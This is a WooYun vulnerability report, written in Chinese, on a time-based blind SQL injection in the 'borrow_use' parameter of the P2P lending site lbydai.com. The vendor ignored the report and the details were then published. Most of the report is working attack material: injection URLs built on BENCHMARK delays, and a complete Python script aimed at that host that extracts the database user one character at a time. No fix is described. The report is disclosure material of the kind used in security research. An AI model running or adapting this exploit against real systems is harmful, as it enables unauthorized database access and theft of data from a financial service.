当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147732

漏洞标题:P2P网贷平台安全之乐帮宜贷某站存在sql注入可绕过附验证脚本

相关厂商:乐帮宜贷

漏洞作者: 深度安全实验室

提交时间:2015-10-19 12:01

修复时间:2015-12-03 12:02

公开时间:2015-12-03 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-12-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

http://lbydai.com/full/index.html?account_status=&borrow_area_city=&borrow_interestrate=2&borrow_type=&borrow_use=') and 'aa' like if(length(user()) like 14,BENCHMARK(6000000,encode("hello","goodbye")),'a') -- &hasinvest=&keywords=&order=&spread_month=10

88.png

上述为真,会延迟8秒左右,user的长度为14.
如果为假,会延迟2秒多:

89.png


http://lbydai.com/full/index.html?account_status=&borrow_area_city=&borrow_interestrate=2&borrow_type=&borrow_use=') and 'aa' like if((mid(user()from(1)for(1))) like '%r%',BENCHMARK(6000000,encode("hello","goodbye")),'a') -- &hasinvest=&keywords=&order=&spread_month=10

上述为真,会延迟8秒左右(此消息表明user的第一位为r)

333.png

12.png

999.png

漏洞证明:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 15):
for payload in payloads:

#time.sleep(5)

s = "') and 'aa' like if((mid(user()from(%s)for(1))) like '%%%s%%',BENCHMARK(6000000,encode(\"hello\",\"goodbye\")),'a') -- " % (i, (payload))
s = "/full/index.html?account_status=&borrow_area_city=&borrow_interestrate=2&borrow_type=&borrow_use="+urllib.quote(s)+"&hasinvest=&keywords=&order=&spread_month=10"
conn = httplib.HTTPConnection('lbydai.com', timeout=100)
conn.request(method='POST', url=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
print time.time() - start_time

if time.time() - start_time > 7.7:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝